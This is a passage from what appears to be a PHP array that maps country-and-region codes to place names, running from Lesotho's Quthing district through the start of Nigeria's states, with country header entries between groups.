'LS-18' => 'Lesotho: Quthing', 'LS-19' => 'Lesotho: Thaba-Tseka', '--LR' => '','-LR' => 'Liberia', 'LR-01' => 'Liberia: Bong', 'LR-11' => 'Liberia: Grand Bassa', 'LR-04' => 'Liberia: Grand Cape Mount', 'LR-02' => 'Liberia: Grand Jide', 'LR-05' => 'Liberia: Lofa', 'LR-06' => 'Liberia: Maryland', 'LR-07' => 'Liberia: Monrovia', 'LR-14' => 'Liberia: Montserrado', 'LR-09' => 'Liberia: Nimba', 'LR-10' => 'Liberia: Sino', '--LY' => '','-LY' => 'Libyan Arab Jamahiriya', 'LY-47' => 'Libyan Arab Jamahiriya: Ajdabiya', 'LY-48' => 'Libyan Arab Jamahiriya: Al Fatih', 'LY-49' => 'Libyan Arab Jamahiriya: Al Jabal al Akhdar', 'LY-05' => 'Libyan Arab Jamahiriya: Al Jufrah', 'LY-50' => 'Libyan Arab Jamahiriya: Al Khums', 'LY-08' => 'Libyan Arab Jamahiriya: Al Kufrah', 'LY-03' => 'Libyan Arab Jamahiriya: Al', 'LY-51' => 'Libyan Arab Jamahiriya: An Nuqat al Khams', 'LY-13' => 'Libyan Arab Jamahiriya: Ash Shati\'', 'LY-52' => 'Libyan Arab Jamahiriya: Awbari', 'LY-53' => 'Libyan Arab Jamahiriya: Az Zawiyah', 'LY-54' => 'Libyan Arab Jamahiriya: Banghazi', 'LY-55' => 'Libyan Arab Jamahiriya: Darnah', 'LY-56' => 'Libyan Arab Jamahiriya: Ghadamis', 'LY-57' => 'Libyan Arab Jamahiriya: Gharyan', 'LY-58' => 'Libyan Arab Jamahiriya: Misratah', 'LY-30' => 'Libyan Arab Jamahiriya: Murzuq', 'LY-34' => 'Libyan Arab Jamahiriya: Sabha', 'LY-59' => 'Libyan Arab Jamahiriya: Sawfajjin', 'LY-60' => 'Libyan Arab Jamahiriya: Surt', 'LY-61' => 'Libyan Arab Jamahiriya: Tarabulus', 'LY-41' => 'Libyan Arab Jamahiriya: Tarhunah', 'LY-42' => 'Libyan Arab Jamahiriya: Tubruq', 'LY-62' => 'Libyan Arab Jamahiriya: Yafran', 'LY-45' => 'Libyan Arab Jamahiriya: Zlitan', '--LI' => '','-LI' => 'Liechtenstein', 'LI-01' => 'Liechtenstein: Balzers', 'LI-02' => 'Liechtenstein: Eschen', 'LI-03' => 'Liechtenstein: Gamprin', 'LI-04' => 'Liechtenstein: Mauren', 'LI-05' => 'Liechtenstein: Planken', 'LI-06' => 'Liechtenstein: Ruggell', 'LI-07' => 'Liechtenstein: Schaan', 'LI-08' => 'Liechtenstein: Schellenberg', 'LI-09' => 'Liechtenstein: Triesen', 'LI-10' => 'Liechtenstein: Triesenberg', 'LI-11' => 'Liechtenstein: Vaduz', '--LT' => '','-LT' => 'Lithuania', 'LT-56' => 'Lithuania: Alytaus Apskritis', 'LT-57' => 'Lithuania: Kauno Apskritis', 'LT-58' => 'Lithuania: Klaipedos Apskritis', 'LT-59' => 'Lithuania: Marijampoles Apskritis', 'LT-60' => 'Lithuania: Panevezio Apskritis', 'LT-61' => 'Lithuania: Siauliu Apskritis', 'LT-62' => 'Lithuania: Taurages Apskritis', 'LT-63' => 'Lithuania: Telsiu Apskritis', 'LT-64' => 'Lithuania: Utenos Apskritis', 'LT-65' => 'Lithuania: Vilniaus Apskritis', '--LU' => '','-LU' => 'Luxembourg', 'LU-01' => 'Luxembourg: Diekirch', 'LU-02' => 'Luxembourg: Grevenmacher', 'LU-03' => 'Luxembourg: Luxembourg', '--MO' => '','-MO' => 'Macau', 'MO-01' => 'Macau: Ilhas', 'MO-02' => 'Macau: Macau', '--MK' => '','-MK' => 'Macedonia', 'MK-01' => 'Macedonia: Aracinovo', 'MK-02' => 'Macedonia: Bac', 'MK-03' => 'Macedonia: Belcista', 'MK-04' => 'Macedonia: Berovo', 'MK-05' => 'Macedonia: Bistrica', 'MK-06' => 'Macedonia: Bitola', 'MK-07' => 'Macedonia: Blatec', 'MK-08' => 'Macedonia: Bogdanci', 'MK-09' => 'Macedonia: Bogomila', 'MK-10' => 'Macedonia: Bogovinje', 'MK-11' => 'Macedonia: Bosilovo', 'MK-12' => 'Macedonia: Brvenica', 'MK-13' => 'Macedonia: Cair', 'MK-14' => 'Macedonia: Capari', 'MK-15' => 'Macedonia: Caska', 'MK-16' => 'Macedonia: Cegrane', 'MK-18' => 'Macedonia: Centar Zupa', 'MK-17' => 'Macedonia: Centar', 'MK-19' => 'Macedonia: Cesinovo', 'MK-20' => 'Macedonia: Cucer-Sandevo', 'MK-21' => 'Macedonia: Debar', 'MK-22' => 'Macedonia: Delcevo', 'MK-23' => 'Macedonia: Delogozdi', 'MK-24' => 'Macedonia: Demir Hisar', 'MK-25' => 'Macedonia: Demir Kapija', 'MK-26' => 'Macedonia: Dobrusevo', 'MK-27' => 'Macedonia: Dolna Banjica', 'MK-28' => 'Macedonia: Dolneni', 'MK-29' => 'Macedonia: Dorce Petrov', 'MK-30' => 'Macedonia: Drugovo', 'MK-31' => 'Macedonia: Dzepciste', 'MK-32' => 'Macedonia: Gazi Baba', 'MK-33' => 'Macedonia: Gevgelija', 'MK-34' => 'Macedonia: Gostivar', 'MK-35' => 'Macedonia: Gradsko', 'MK-36' => 'Macedonia: Ilinden', 'MK-37' => 'Macedonia: Izvor', 'MK-38' => 'Macedonia: Jegunovce', 'MK-39' => 'Macedonia: Kamenjane', 'MK-40' => 'Macedonia: Karbinci', 'MK-41' => 'Macedonia: Karpos', 'MK-42' => 'Macedonia: Kavadarci', 'MK-43' => 'Macedonia: Kicevo', 'MK-44' => 'Macedonia: Kisela Voda', 'MK-45' => 'Macedonia: Klecevce', 'MK-46' => 'Macedonia: Kocani', 'MK-47' => 'Macedonia: Konce', 'MK-48' => 'Macedonia: Kondovo', 'MK-49' => 'Macedonia: Konopiste', 'MK-50' => 'Macedonia: Kosel', 'MK-51' => 'Macedonia: Kratovo', 'MK-52' => 'Macedonia: Kriva Palanka', 'MK-53' => 'Macedonia: Krivogastani', 'MK-54' => 'Macedonia: Krusevo', 'MK-55' => 'Macedonia: Kuklis', 'MK-56' => 'Macedonia: Kukurecani', 'MK-57' => 'Macedonia: Kumanovo', 'MK-58' => 'Macedonia: Labunista', 'MK-59' => 'Macedonia: Lipkovo', 'MK-60' => 'Macedonia: Lozovo', 'MK-61' => 'Macedonia: Lukovo', 'MK-62' => 'Macedonia: Makedonska Kamenica', 'MK-63' => 'Macedonia: Makedonski Brod', 'MK-64' => 'Macedonia: Mavrovi Anovi', 'MK-65' => 'Macedonia: Meseista', 'MK-66' => 'Macedonia: Miravci', 'MK-67' => 'Macedonia: Mogila', 'MK-68' => 'Macedonia: Murtino', 'MK-69' => 'Macedonia: Negotino', 'MK-70' => 'Macedonia: Negotino-Polosko', 'MK-71' => 'Macedonia: Novaci', 'MK-72' => 'Macedonia: Novo Selo', 'MK-73' => 'Macedonia: Oblesevo', 'MK-74' => 'Macedonia: Ohrid', 'MK-75' => 'Macedonia: Orasac', 'MK-76' => 'Macedonia: Orizari', 'MK-77' => 'Macedonia: Oslomej', 'MK-78' => 'Macedonia: Pehcevo', 'MK-79' => 'Macedonia: Petrovec', 'MK-80' => 'Macedonia: Plasnica', 'MK-81' => 'Macedonia: Podares', 'MK-82' => 'Macedonia: Prilep', 'MK-83' => 'Macedonia: Probistip', 'MK-84' => 'Macedonia: Radovis', 'MK-85' => 'Macedonia: Rankovce', 'MK-86' => 'Macedonia: Resen', 'MK-87' => 'Macedonia: Rosoman', 'MK-88' => 'Macedonia: Rostusa', 'MK-89' => 'Macedonia: Samokov', 'MK-90' => 'Macedonia: Saraj', 'MK-91' => 'Macedonia: Sipkovica', 'MK-92' => 'Macedonia: Sopiste', 'MK-93' => 'Macedonia: Sopotnica', 'MK-94' => 'Macedonia: Srbinovo', 'MK-96' => 'Macedonia: Star Dojran', 'MK-95' => 'Macedonia: Staravina', 'MK-97' => 'Macedonia: Staro Nagoricane', 'MK-98' => 'Macedonia: Stip', 'MK-99' => 'Macedonia: Struga', 'MK-A1' => 'Macedonia: Strumica', 'MK-A2' => 'Macedonia: Studenicani', 'MK-A3' => 'Macedonia: Suto Orizari', 'MK-A4' => 'Macedonia: Sveti Nikole', 'MK-A5' => 'Macedonia: Tearce', 'MK-A6' => 'Macedonia: Tetovo', 'MK-A7' => 'Macedonia: Topolcani', 'MK-A8' => 'Macedonia: Valandovo', 'MK-A9' => 'Macedonia: Vasilevo', 'MK-B1' => 'Macedonia: Veles', 'MK-B2' => 'Macedonia: Velesta', 'MK-B3' => 'Macedonia: Vevcani', 'MK-B4' => 'Macedonia: Vinica', 'MK-B5' => 'Macedonia: Vitoliste', 'MK-B6' => 'Macedonia: Vranestica', 'MK-B7' => 'Macedonia: Vrapciste', 'MK-B8' => 'Macedonia: Vratnica', 'MK-B9' => 'Macedonia: Vrutok', 'MK-C1' => 'Macedonia: Zajas', 'MK-C2' => 'Macedonia: Zelenikovo', 'MK-C3' => 'Macedonia: Zelino', 'MK-C4' => 'Macedonia: Zitose', 'MK-C5' => 'Macedonia: Zletovo', 'MK-C6' => 'Macedonia: Zrnovci', '--MG' => '','-MG' => 'Madagascar', 'MG-05' => 'Madagascar: Antananarivo', 'MG-01' => 'Madagascar: Antsiranana', 'MG-02' => 'Madagascar: Fianarantsoa', 'MG-03' => 'Madagascar: Mahajanga', 'MG-04' => 'Madagascar: Toamasina', 'MG-06' => 'Madagascar: Toliara', '--MW' => '','-MW' => 'Malawi', 'MW-26' => 'Malawi: Balaka', 'MW-24' => 'Malawi: Blantyre', 'MW-02' => 'Malawi: Chikwawa', 'MW-03' => 'Malawi: Chiradzulu', 'MW-04' => 'Malawi: Chitipa', 'MW-06' => 'Malawi: Dedza', 'MW-07' => 'Malawi: Dowa', 'MW-08' => 'Malawi: Karonga', 'MW-09' => 'Malawi: Kasungu', 'MW-27' => 'Malawi: Likoma', 'MW-11' => 'Malawi: Lilongwe', 'MW-28' => 'Malawi: Machinga', 'MW-12' => 'Malawi: Mangochi', 'MW-13' => 'Malawi: Mchinji', 'MW-29' => 'Malawi: Mulanje', 'MW-25' => 'Malawi: Mwanza', 'MW-15' => 'Malawi: Mzimba', 'MW-17' => 'Malawi: Nkhata Bay', 'MW-18' => 'Malawi: Nkhotakota', 'MW-19' => 'Malawi: Nsanje', 'MW-16' => 'Malawi: Ntcheu', 'MW-20' => 'Malawi: Ntchisi', 'MW-30' => 'Malawi: Phalombe', 'MW-21' => 'Malawi: Rumphi', 'MW-22' => 'Malawi: Salima', 'MW-05' => 'Malawi: Thyolo', 'MW-23' => 'Malawi: Zomba', '--MY' => '','-MY' => 'Malaysia', 'MY-01' => 'Malaysia: Johor', 'MY-02' => 'Malaysia: Kedah', 'MY-03' => 'Malaysia: Kelantan', 'MY-15' => 'Malaysia: Labuan', 'MY-04' => 'Malaysia: Melaka', 'MY-05' => 'Malaysia: Negeri Sembilan', 'MY-06' => 'Malaysia: Pahang', 'MY-07' => 'Malaysia: Perak', 'MY-08' => 'Malaysia: Perlis', 'MY-09' => 'Malaysia: Pulau Pinang', 'MY-16' => 'Malaysia: Sabah', 'MY-11' => 'Malaysia: Sarawak', 'MY-12' => 'Malaysia: Selangor', 'MY-13' => 'Malaysia: Terengganu', 'MY-14' => 'Malaysia: Wilayah Persekutuan', '--MV' => '','-MV' => 'Maldives', 'MV-02' => 'Maldives: Aliff', 'MV-20' => 'Maldives: Baa', 'MV-17' => 'Maldives: Daalu', 'MV-14' => 'Maldives: Faafu', 'MV-27' => 'Maldives: Gaafu Aliff', 'MV-28' => 'Maldives: Gaafu Daalu', 'MV-07' => 'Maldives: Haa Aliff', 'MV-23' => 'Maldives: Haa Daalu', 'MV-26' => 'Maldives: Kaafu', 'MV-05' => 'Maldives: Laamu', 'MV-03' => 'Maldives: Laviyani', 'MV-12' => 'Maldives: Meemu', 'MV-29' => 'Maldives: Naviyani', 'MV-25' => 'Maldives: Noonu', 'MV-13' => 'Maldives: Raa', 'MV-01' => 'Maldives: Seenu', 'MV-24' => 'Maldives: Shaviyani', 'MV-08' => 'Maldives: Thaa', 'MV-04' => 'Maldives: Waavu', '--ML' => '','-ML' => 'Mali', 'ML-01' => 'Mali: Bamako', 'ML-09' => 'Mali: Gao', 'ML-03' => 'Mali: Kayes', 'ML-10' => 'Mali: Kidal', 'ML-07' => 'Mali: Koulikoro', 'ML-04' => 'Mali: Mopti', 'ML-05' => 'Mali: Segou', 'ML-06' => 'Mali: Sikasso', 'ML-08' => 'Mali: Tombouctou', '--MR' => '','-MR' => 'Mauritania', 'MR-07' => 'Mauritania: Adrar', 'MR-03' => 'Mauritania: Assaba', 'MR-05' => 'Mauritania: Brakna', 'MR-08' => 'Mauritania: Dakhlet Nouadhibou', 'MR-04' => 'Mauritania: Gorgol', 'MR-10' => 'Mauritania: Guidimaka', 'MR-01' => 'Mauritania: Hodh Ech Chargui', 'MR-02' => 'Mauritania: Hodh El Gharbi', 'MR-12' => 'Mauritania: Inchiri', 'MR-09' => 'Mauritania: Tagant', 'MR-11' => 'Mauritania: Tiris Zemmour', 'MR-06' => 'Mauritania: Trarza', '--MU' => '','-MU' => 'Mauritius', 'MU-21' => 'Mauritius: Agalega Islands', 'MU-12' => 'Mauritius: Black River', 'MU-22' => 'Mauritius: Cargados Carajos', 'MU-13' => 'Mauritius: Flacq', 'MU-14' => 'Mauritius: Grand Port', 'MU-15' => 'Mauritius: Moka', 'MU-16' => 'Mauritius: Pamplemousses', 'MU-17' => 'Mauritius: Plaines Wilhems', 'MU-18' => 'Mauritius: Port Louis', 'MU-19' => 'Mauritius: Riviere du Rempart', 'MU-23' => 'Mauritius: Rodrigues', 'MU-20' => 'Mauritius: Savanne', '--MX' => '','-MX' => 'Mexico', 'MX-01' => 'Mexico: Aguascalientes', 'MX-03' => 'Mexico: Baja California Sur', 'MX-02' => 'Mexico: Baja California', 'MX-04' => 'Mexico: Campeche', 'MX-05' => 'Mexico: Chiapas', 'MX-06' => 'Mexico: Chihuahua', 'MX-07' => 'Mexico: Coahuila de Zaragoza', 'MX-08' => 'Mexico: Colima', 'MX-09' => 'Mexico: Distrito Federal', 'MX-10' => 'Mexico: Durango', 'MX-11' => 'Mexico: Guanajuato', 'MX-12' => 'Mexico: Guerrero', 'MX-13' => 'Mexico: Hidalgo', 'MX-14' => 'Mexico: Jalisco', 'MX-15' => 'Mexico: Mexico', 'MX-16' => 'Mexico: Michoacan de Ocampo', 'MX-17' => 'Mexico: Morelos', 'MX-18' => 'Mexico: Nayarit', 'MX-19' => 'Mexico: Nuevo Leon', 'MX-20' => 'Mexico: Oaxaca', 'MX-21' => 'Mexico: Puebla', 'MX-22' => 'Mexico: Queretaro de Arteaga', 'MX-23' => 'Mexico: Quintana Roo', 'MX-24' => 'Mexico: San Luis Potosi', 'MX-25' => 'Mexico: Sinaloa', 'MX-26' => 'Mexico: Sonora', 'MX-27' => 'Mexico: Tabasco', 'MX-28' => 'Mexico: Tamaulipas', 'MX-29' => 'Mexico: Tlaxcala', 'MX-30' => 'Mexico: Veracruz-Llave', 'MX-31' => 'Mexico: Yucatan', 'MX-32' => 'Mexico: Zacatecas', '--FM' => '','-FM' => 'Micronesia', 'FM-03' => 'Micronesia: Chuuk', 'FM-01' => 'Micronesia: Kosrae', 'FM-02' => 'Micronesia: Pohnpei', 'FM-04' => 'Micronesia: Yap', '--MD' => '','-MD' => 'Moldova', 'MD-46' => 'Moldova: Balti', 'MD-47' => 'Moldova: Cahul', 'MD-48' => 'Moldova: Chisinau', 'MD-50' => 'Moldova: Edinet', 'MD-51' => 'Moldova: Gagauzia', 'MD-52' => 'Moldova: Lapusna', 'MD-53' => 'Moldova: Orhei', 'MD-54' => 'Moldova: Soroca', 'MD-49' => 'Moldova: Stinga Nistrului', 'MD-55' => 'Moldova: Tighina', 'MD-56' => 'Moldova: Ungheni', '--MC' => '','-MC' => 'Monaco', 'MC-01' => 'Monaco: La Condamine', 'MC-02' => 'Monaco: Monaco', 'MC-03' => 'Monaco: Monte-Carlo', '--MN' => '','-MN' => 'Mongolia', 'MN-01' => 'Mongolia: Arhangay', 'MN-02' => 'Mongolia: Bayanhongor', 'MN-03' => 'Mongolia: Bayan-Olgiy', 'MN-21' => 'Mongolia: Bulgan', 'MN-23' => 'Mongolia: Darhan Uul', 'MN-05' => 'Mongolia: Darhan', 'MN-06' => 'Mongolia: Dornod', 'MN-07' => 'Mongolia: Dornogovi', 'MN-08' => 'Mongolia: Dundgovi', 'MN-09' => 'Mongolia: Dzavhan', 'MN-22' => 'Mongolia: Erdenet', 'MN-10' => 'Mongolia: Govi-Altay', 'MN-24' => 'Mongolia: Govi-Sumber', 'MN-11' => 'Mongolia: Hentiy', 'MN-12' => 'Mongolia: Hovd', 'MN-13' => 'Mongolia: Hovsgol', 'MN-14' => 'Mongolia: Omnogovi', 'MN-25' => 'Mongolia: Orhon', 'MN-15' => 'Mongolia: Ovorhangay', 'MN-16' => 'Mongolia: Selenge', 'MN-17' => 'Mongolia: Suhbaatar', 'MN-18' => 'Mongolia: Tov', 'MN-20' => 'Mongolia: Ulaanbaatar', 'MN-19' => 'Mongolia: Uvs', '--MS' => '','-MS' => 'Montserrat', 'MS-01' => 'Montserrat: Saint Anthony', 'MS-02' => 'Montserrat: Saint Georges', 'MS-03' => 'Montserrat: Saint Peter', '--MA' => '','-MA' => 'Morocco', 'MA-01' => 'Morocco: Agadir', 'MA-02' => 'Morocco: Al Hoceima', 'MA-03' => 'Morocco: Azilal', 'MA-04' => 'Morocco: Ben Slimane', 'MA-05' => 'Morocco: Beni Mellal', 'MA-06' => 'Morocco: Boulemane', 'MA-07' => 'Morocco: Casablanca', 'MA-08' => 'Morocco: Chaouen', 'MA-09' => 'Morocco: El Jadida', 'MA-10' => 'Morocco: El Kelaa des Srarhna', 'MA-11' => 'Morocco: Er Rachidia', 'MA-12' => 'Morocco: Essaouira', 'MA-13' => 'Morocco: Fes', 'MA-14' => 'Morocco: Figuig', 'MA-33' => 'Morocco: Guelmim', 'MA-34' => 'Morocco: Ifrane', 'MA-15' => 'Morocco: Kenitra', 'MA-16' => 'Morocco: Khemisset', 'MA-17' => 'Morocco: Khenifra', 'MA-18' => 'Morocco: Khouribga', 'MA-35' => 'Morocco: Laayoune', 'MA-41' => 'Morocco: Larache', 'MA-19' => 'Morocco: Marrakech', 'MA-20' => 'Morocco: Meknes', 'MA-21' => 'Morocco: Nador', 'MA-22' => 'Morocco: Ouarzazate', 'MA-23' => 'Morocco: Oujda', 'MA-24' => 'Morocco: Rabat-Sale', 'MA-25' => 'Morocco: Safi', 'MA-26' => 'Morocco: Settat', 'MA-38' => 'Morocco: Sidi Kacem', 'MA-27' => 'Morocco: Tanger', 'MA-36' => 'Morocco: Tan-Tan', 'MA-37' => 'Morocco: Taounate', 'MA-39' => 'Morocco: Taroudannt', 'MA-29' => 'Morocco: Tata', 'MA-30' => 'Morocco: Taza', 'MA-40' => 'Morocco: Tetouan', 'MA-32' => 'Morocco: Tiznit', '--MZ' => '','-MZ' => 'Mozambique', 'MZ-01' => 'Mozambique: Cabo Delgado', 'MZ-02' => 'Mozambique: Gaza', 'MZ-03' => 'Mozambique: Inhambane', 'MZ-10' => 'Mozambique: Manica', 'MZ-04' => 'Mozambique: Maputo', 'MZ-06' => 'Mozambique: Nampula', 'MZ-07' => 'Mozambique: Niassa', 'MZ-05' => 'Mozambique: Sofala', 'MZ-08' => 'Mozambique: Tete', 'MZ-09' => 'Mozambique: Zambezia', '--MM' => '','-MM' => 'Myanmar', 'MM-02' => 'Myanmar: Chin State', 'MM-03' => 'Myanmar: Irrawaddy', 'MM-04' => 'Myanmar: Kachin State', 'MM-05' => 'Myanmar: Karan State', 'MM-06' => 'Myanmar: Kayah State', 'MM-07' => 'Myanmar: Magwe', 'MM-08' => 'Myanmar: Mandalay', 'MM-13' => 'Myanmar: Mon State', 'MM-09' => 'Myanmar: Pegu', 'MM-01' => 'Myanmar: Rakhine State', 'MM-14' => 'Myanmar: Rangoon', 'MM-10' => 'Myanmar: Sagaing', 'MM-11' => 'Myanmar: Shan State', 'MM-12' => 'Myanmar: Tenasserim', 'MM-17' => 'Myanmar: Yangon', '--NA' => '','-NA' => 'Namibia', 'NA-01' => 'Namibia: Bethanien', 'NA-03' => 'Namibia: Boesmanland', 'NA-02' => 'Namibia: Caprivi Oos', 'NA-28' => 'Namibia: Caprivi', 'NA-22' => 'Namibia: Damaraland', 'NA-29' => 'Namibia: Erongo', 'NA-04' => 'Namibia: Gobabis', 'NA-05' => 'Namibia: Grootfontein', 'NA-30' => 'Namibia: Hardap', 'NA-23' => 'Namibia: Hereroland Oos', 'NA-24' => 'Namibia: Hereroland Wes', 'NA-06' => 'Namibia: Kaokoland', 'NA-31' => 'Namibia: Karas', 'NA-20' => 'Namibia: Karasburg', 'NA-07' => 'Namibia: Karibib', 'NA-25' => 'Namibia: Kavango', 'NA-08' => 'Namibia: Keetmanshoop', 'NA-32' => 'Namibia: Kunene', 'NA-09' => 'Namibia: Luderitz', 'NA-10' => 'Namibia: Maltahohe', 'NA-26' => 'Namibia: Mariental', 'NA-27' => 'Namibia: Namaland', 'NA-33' => 'Namibia: Ohangwena', 'NA-11' => 'Namibia: Okahandja', 'NA-34' => 'Namibia: Okavango', 'NA-35' => 'Namibia: Omaheke', 'NA-12' => 'Namibia: Omaruru', 'NA-36' => 'Namibia: Omusati', 'NA-37' => 'Namibia: Oshana', 'NA-38' => 'Namibia: Oshikoto', 'NA-13' => 'Namibia: Otjiwarongo', 'NA-39' => 'Namibia: Otjozondjupa', 'NA-14' => 'Namibia: Outjo', 'NA-15' => 'Namibia: Owambo', 'NA-16' => 'Namibia: Rehoboth', 'NA-17' => 'Namibia: Swakopmund', 'NA-18' => 'Namibia: Tsumeb', 'NA-21' => 'Namibia: Windhoek', '--NR' => '','-NR' => 'Nauru', 'NR-01' => 'Nauru: Aiwo', 'NR-02' => 'Nauru: Anabar', 'NR-03' => 'Nauru: Anetan', 'NR-04' => 'Nauru: Anibare', 'NR-05' => 'Nauru: Baiti', 'NR-06' => 'Nauru: Boe', 'NR-07' => 'Nauru: Buada', 'NR-08' => 'Nauru: Denigomodu', 'NR-09' => 'Nauru: Ewa', 'NR-10' => 'Nauru: Ijuw', 'NR-11' => 'Nauru: Meneng', 'NR-12' => 'Nauru: Nibok', 'NR-13' => 'Nauru: Uaboe', 'NR-14' => 'Nauru: Yaren', '--NP' => '','-NP' => 'Nepal', 'NP-01' => 'Nepal: Bagmati', 'NP-02' => 'Nepal: Bheri', 'NP-03' => 'Nepal: Dhawalagiri', 'NP-04' => 'Nepal: Gandaki', 'NP-05' => 'Nepal: Janakpur', 'NP-06' => 'Nepal: Karnali', 'NP-07' => 'Nepal: Kosi', 'NP-08' => 'Nepal: Lumbini', 'NP-09' => 'Nepal: Mahakali', 'NP-10' => 'Nepal: Mechi', 'NP-11' => 'Nepal: Narayani', 'NP-12' => 'Nepal: Rapti', 'NP-13' => 'Nepal: Sagarmatha', 'NP-14' => 'Nepal: Seti', '--NL' => '','-NL' => 'Netherlands', 'NL-01' => 'Netherlands: Drenthe', 'NL-16' => 'Netherlands: Flevoland', 'NL-02' => 'Netherlands: Friesland', 'NL-03' => 'Netherlands: Gelderland', 'NL-04' => 'Netherlands: Groningen', 'NL-05' => 'Netherlands: Limburg', 'NL-06' => 'Netherlands: Noord-Brabant', 'NL-07' => 'Netherlands: Noord-Holland', 'NL-15' => 'Netherlands: Overijssel', 'NL-09' => 'Netherlands: Utrecht', 'NL-10' => 'Netherlands: Zeeland', 'NL-11' => 'Netherlands: Zuid-Holland', '--NZ' => '','-NZ' => 'New Zealand', 'NZ-01' => 'New Zealand: Akaroa', 'NZ-03' => 'New Zealand: Amuri', 'NZ-04' => 'New Zealand: Ashburton', 'NZ-07' => 'New Zealand: Bay of Islands', 'NZ-08' => 'New Zealand: Bruce', 'NZ-09' => 'New Zealand: Buller', 'NZ-10' => 'New Zealand: Chatham Islands', 'NZ-11' => 'New Zealand: Cheviot', 'NZ-12' => 'New Zealand: Clifton', 'NZ-13' => 'New Zealand: Clutha', 'NZ-14' => 'New Zealand: Cook', 'NZ-16' => 'New Zealand: Dannevirke', 'NZ-17' => 'New Zealand: Egmont', 'NZ-18' => 'New Zealand: Eketahuna', 'NZ-19' => 'New Zealand: Ellesmere', 'NZ-20' => 'New Zealand: Eltham', 'NZ-21' => 'New Zealand: Eyre', 'NZ-22' => 'New Zealand: Featherston', 'NZ-24' => 'New Zealand: Franklin', 'NZ-26' => 'New Zealand: Golden Bay', 'NZ-27' => 'New Zealand: Great Barrier Island', 'NZ-28' => 'New Zealand: Grey', 'NZ-29' => 'New Zealand: Hauraki Plains', 'NZ-30' => 'New Zealand: Hawera', 'NZ-31' => 'New Zealand: Hawke\'s Bay', 'NZ-32' => 'New Zealand: Heathcote', 'NZ-D9' => 'New Zealand: Hikurangi', 'NZ-33' => 'New Zealand: Hobson', 'NZ-34' => 'New Zealand: Hokianga', 'NZ-35' => 'New Zealand: Horowhenua', 'NZ-D4' => 'New Zealand: Hurunui', 'NZ-36' => 'New Zealand: Hutt', 'NZ-37' => 'New Zealand: Inangahua', 'NZ-38' => 'New Zealand: Inglewood', 'NZ-39' => 'New Zealand: Kaikoura', 'NZ-40' => 'New Zealand: Kairanga', 'NZ-41' => 'New Zealand: Kiwitea', 'NZ-43' => 'New Zealand: Lake', 'NZ-45' => 'New Zealand: Mackenzie', 'NZ-46' => 'New Zealand: Malvern', 'NZ-E1' => 'New Zealand: Manaia', 'NZ-47' => 'New Zealand: Manawatu', 'NZ-48' => 'New Zealand: Mangonui', 'NZ-49' => 'New Zealand: Maniototo', 'NZ-50' => 'New Zealand: Marlborough', 'NZ-51' => 'New Zealand: Masterton', 'NZ-52' => 'New Zealand: Matamata', 'NZ-53' => 'New Zealand: Mount Herbert', 'NZ-54' => 'New Zealand: Ohinemuri', 'NZ-55' => 'New Zealand: Opotiki', 'NZ-56' => 'New Zealand: Oroua', 'NZ-57' => 'New Zealand: Otamatea', 'NZ-58' => 'New Zealand: Otorohanga', 'NZ-59' => 'New Zealand: Oxford', 'NZ-60' => 'New Zealand: Pahiatua', 'NZ-61' => 'New Zealand: Paparua', 'NZ-63' => 'New Zealand: Patea', 'NZ-65' => 'New Zealand: Piako', 'NZ-66' => 'New Zealand: Pohangina', 'NZ-67' => 'New Zealand: Raglan', 'NZ-68' => 'New Zealand: Rangiora', 'NZ-69' => 'New Zealand: Rangitikei', 'NZ-70' => 'New Zealand: Rodney', 'NZ-71' => 'New Zealand: Rotorua', 'NZ-E2' => 'New Zealand: Runanga', 'NZ-E3' => 'New Zealand: Saint Kilda', 'NZ-D5' => 'New Zealand: Silverpeaks', 'NZ-72' => 'New Zealand: Southland', 'NZ-73' => 'New Zealand: Stewart Island', 'NZ-74' => 'New Zealand: Stratford', 'NZ-D6' => 'New Zealand: Strathallan', 'NZ-76' => 'New Zealand: Taranaki', 'NZ-77' => 'New Zealand: Taumarunui', 'NZ-78' => 'New Zealand: Taupo', 'NZ-79' => 'New Zealand: Tauranga', 'NZ-E4' => 'New Zealand: Thames-Coromandel', 'NZ-81' => 'New Zealand: Tuapeka', 'NZ-82' => 'New Zealand: Vincent', 'NZ-83' => 'New Zealand: Waiapu', 'NZ-D8' => 'New Zealand: Waiheke', 'NZ-84' => 'New Zealand: Waihemo', 'NZ-85' => 'New Zealand: Waikato', 'NZ-86' => 'New Zealand: Waikohu', 'NZ-88' => 'New Zealand: Waimairi', 'NZ-89' => 'New Zealand: Waimarino', 'NZ-91' => 'New Zealand: Waimate West', 'NZ-90' => 'New Zealand: Waimate', 'NZ-92' => 'New Zealand: Waimea', 'NZ-93' => 'New Zealand: Waipa', 'NZ-95' => 'New Zealand: Waipawa', 'NZ-96' => 'New Zealand: Waipukurau', 'NZ-97' => 'New Zealand: Wairarapa South', 'NZ-98' => 'New Zealand: Wairewa', 'NZ-99' => 'New Zealand: Wairoa', 'NZ-A4' => 'New Zealand: Waitaki', 'NZ-A6' => 'New Zealand: Waitomo', 'NZ-A8' => 'New Zealand: Waitotara', 'NZ-E6' => 'New Zealand: Wallace', 'NZ-B2' => 'New Zealand: Wanganui', 'NZ-E5' => 'New Zealand: Waverley', 'NZ-B3' => 'New Zealand: Westland', 'NZ-B4' => 'New Zealand: Whakatane', 'NZ-A1' => 'New Zealand: Whangarei', 'NZ-A2' => 'New Zealand: Whangaroa', 'NZ-A3' => 'New Zealand: Woodmark', '--NI' => '','-NI' => 'Nicaragua', 'NI-01' => 'Nicaragua: Boaco', 'NI-02' => 'Nicaragua: Carazo', 'NI-03' => 'Nicaragua: Chinandega', 'NI-04' => 'Nicaragua: Chontales', 'NI-05' => 'Nicaragua: Esteli', 'NI-06' => 'Nicaragua: Granada', 'NI-07' => 'Nicaragua: Jinotega', 'NI-08' => 'Nicaragua: Leon', 'NI-09' => 'Nicaragua: Madriz', 'NI-10' => 'Nicaragua: Managua', 'NI-11' => 'Nicaragua: Masaya', 'NI-12' => 'Nicaragua: Matagalpa', 'NI-13' => 'Nicaragua: Nueva Segovia', 'NI-14' => 'Nicaragua: Rio San Juan', 'NI-15' => 'Nicaragua: Rivas', 'NI-16' => 'Nicaragua: Zelaya', '--NE' => '','-NE' => 'Niger', 'NE-01' => 'Niger: Agadez', 'NE-02' => 'Niger: Diffa', 'NE-03' => 'Niger: Dosso', 'NE-04' => 'Niger: Maradi', 'NE-05' => 'Niger: Niamey', 'NE-06' => 'Niger: Tahoua', 'NE-07' => 'Niger: Zinder', '--NG' => '','-NG' => 'Nigeria', 'NG-45' => 'Nigeria: Abia', 'NG-11' => 'Nigeria: Abuja Capital Territory', 'NG-35' => 'Nigeria: 